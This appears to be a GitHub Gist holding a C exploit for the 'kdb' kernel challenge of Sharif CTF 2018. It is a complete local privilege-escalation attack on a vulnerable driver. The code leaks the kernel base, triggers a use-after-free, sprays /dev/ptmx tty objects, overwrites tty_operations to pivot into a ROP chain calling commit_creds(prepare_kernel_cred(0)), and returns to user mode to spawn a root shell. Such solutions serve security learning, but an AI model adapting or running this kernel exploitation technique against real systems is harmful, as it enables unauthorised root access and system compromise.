Created
December 3, 2018 14:14
-
-
Save hama7230/5046477eb2f90908431a40fc102394c3 to your computer and use it in GitHub Desktop.
Sharif CTF 2018 kdb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
// ffffffff8103d1a0 T prepare_kernel_cred | |
// ffffffff8103d3a0 T commit_creds | |
unsigned long prepare_kernel_cred = 0xffffffff8103d1a0 - 0xffffffff81000000; | |
unsigned long commit_creds = 0xffffffff8103d3a0 - 0xffffffff81000000; | |
unsigned long pivot_gadget = 0xffffffff810e0747 - 0xffffffff81000000; // 0xffffffff810e0747: mov esp, 0xE58948C0 ; pop rbp ; ret ; (1 found) | |
unsigned long pop_rdi = 0xffffffff810a23cd - 0xffffffff81000000; // 0xffffffff810a23cd: pop rdi ; ret ; (1 found) | |
unsigned long pop_rdx = 0xffffffff81243618 - 0xffffffff81000000; // 0xffffffff81243618: pop rdx ; ret ; (1 found) | |
unsigned long pop_rdx_rbp = 0xffffffff8106c73c - 0xffffffff81000000; // 0xffffffff8106c73c: pop rdx ; pop rbp ; ret ; (1 found) | |
unsigned long pop_rcx_rsi_rdi = 0xffffffff810daa9d - 0xffffffff81000000; // 0xffffffff810daa9d: pop rcx ; pop rsi ; pop rdi ; ret ; (1 found) | |
unsigned long call_rdx_pop_ret = 0xffffffff81060766 - 0xffffffff81000000; // 0xffffffff810a83b7: mov rdi, rax ; call rcx ; (1 found) | |
unsigned long swapgs = 0xffffffff8113e858 - 0xffffffff81000000; // 0xffffffff8113e858: swapgs ; ret ; (1 found) | |
unsigned long iretq = 0xffffffff8113e030 - 0xffffffff81000000; | |
unsigned long user_cs; | |
unsigned long user_ss; | |
unsigned long user_rflags; | |
static void save_state() { | |
__asm__("mov %0, cs": "r=" (user_cs) : "r" (user_cs)); | |
__asm__("mov %0, ss": "r=" (user_ss) : "r" (user_ss)); | |
__asm__("pushfq"); | |
__asm__("popq %0": "r=" (user_rflags) : "r" (user_rflags)); | |
} | |
unsigned long buf[0x30/8]; | |
int fd; | |
unsigned long fake_tty_operations[0x100/8]; | |
unsigned long kernel_base; | |
char orig_tty[0x1000]; | |
int new_buf(char* name, long size) { | |
memcpy(buf, name, 0x20); | |
buf[4] = size; | |
return ioctl(fd, 0x13371338, buf); | |
} | |
int read_buf(char* name, char* ptr) { | |
memcpy(buf, name, 0x20); | |
buf[4] = (unsigned long)ptr; | |
buf[5] = 0; | |
return ioctl(fd, 0x13371339, buf); | |
} | |
int write_buf(char* name, char* ptr) { | |
memcpy(buf, name, 0x20); | |
buf[4] = (unsigned long)ptr; | |
buf[5] = 0; | |
return ioctl(fd, 0x1337133a, buf); | |
} | |
int delete_buf(char* name) { | |
memcpy(buf, name, 0x20); | |
buf[4] = 0; | |
buf[5] = 0; | |
return ioctl(fd, 0x1337133d, buf); | |
} | |
int realloc_buf(char* name, char* ptr, long size) { | |
memcpy(buf, name, 0x20); | |
buf[4] = (unsigned long)ptr; | |
buf[5] = size; | |
return ioctl(fd, 0x1337133f, buf); | |
} | |
void shell(void) { | |
write_buf("aaaaaaaaaaaaaaaa", orig_tty); | |
char *args[] = {"/bin/sh", 0}; | |
execve("/bin/sh", args, 0); | |
} | |
int main(void) { | |
int fds[0x100]; | |
char name[0x20]; | |
unsigned long tmp[1024/8]; | |
char hoge[0x400]; | |
unsigned long *fake_stack; | |
save_state(); | |
fake_stack = mmap(0xE5890000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0); | |
puts("open /dev/kdb"); | |
fd = open("/dev/kdb", O_RDWR); | |
if (fd < 0) { | |
puts("open error"); | |
exit(1); | |
} | |
for (int i=0; i<0x100; i++) | |
fds[i] = open("/dev/ptmx", O_NOCTTY|O_RDWR); | |
for (int i=0; i<0x100; i++) | |
close(fds[i]); | |
memset(name, 'a', 0x10); | |
new_buf(name, 1024); | |
memset(tmp, 0, 1024/8); | |
read_buf(name, tmp); | |
kernel_base = tmp[3] - 0x21bea0; | |
// build rop chain | |
fake_stack += (0x48c0/8); | |
*fake_stack++ = 0x11223344; | |
*fake_stack++ = kernel_base + pop_rdi; | |
*fake_stack++ = 0; | |
*fake_stack++ = kernel_base + prepare_kernel_cred; | |
*fake_stack++ = kernel_base + pop_rdx_rbp; | |
*fake_stack++ = kernel_base + commit_creds; | |
*fake_stack++ = 0x41414141414141; | |
*fake_stack++ = kernel_base + call_rdx_pop_ret; | |
*fake_stack++ = 0x41414141414141; | |
*fake_stack++ = kernel_base + swapgs; | |
*fake_stack++ = kernel_base + iretq; | |
*fake_stack++ = (unsigned long)&shell; | |
*fake_stack++ = user_cs; | |
*fake_stack++ = user_rflags; | |
*fake_stack++ = 0xE589ff00; | |
*fake_stack++ = user_ss; | |
puts("leak some address"); | |
printf("kernel_base = %lx\n", kernel_base); | |
memset(hoge, 'x', 0x400); | |
write_buf(name, hoge); | |
puts("cause kUAF"); | |
realloc_buf(name, 0xffffffffffff0000, 0x2000); | |
for (int i=0; i<0x100; i++) | |
fds[i] = open("/dev/ptmx", O_NOCTTY|O_RDWR); | |
read_buf(name, tmp); | |
memcpy(orig_tty, tmp, 0x1000); | |
tmp[3] = &fake_tty_operations; | |
fake_tty_operations[0x60/8] = kernel_base + pivot_gadget; | |
write_buf(name, tmp); | |
puts("trigger"); | |
for (int i=0; i<0x100; i++) { | |
ioctl(fds[i], 0xdeadbeef, 0xbeefbabe); | |
} | |
while(1) {} | |
close(fd); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment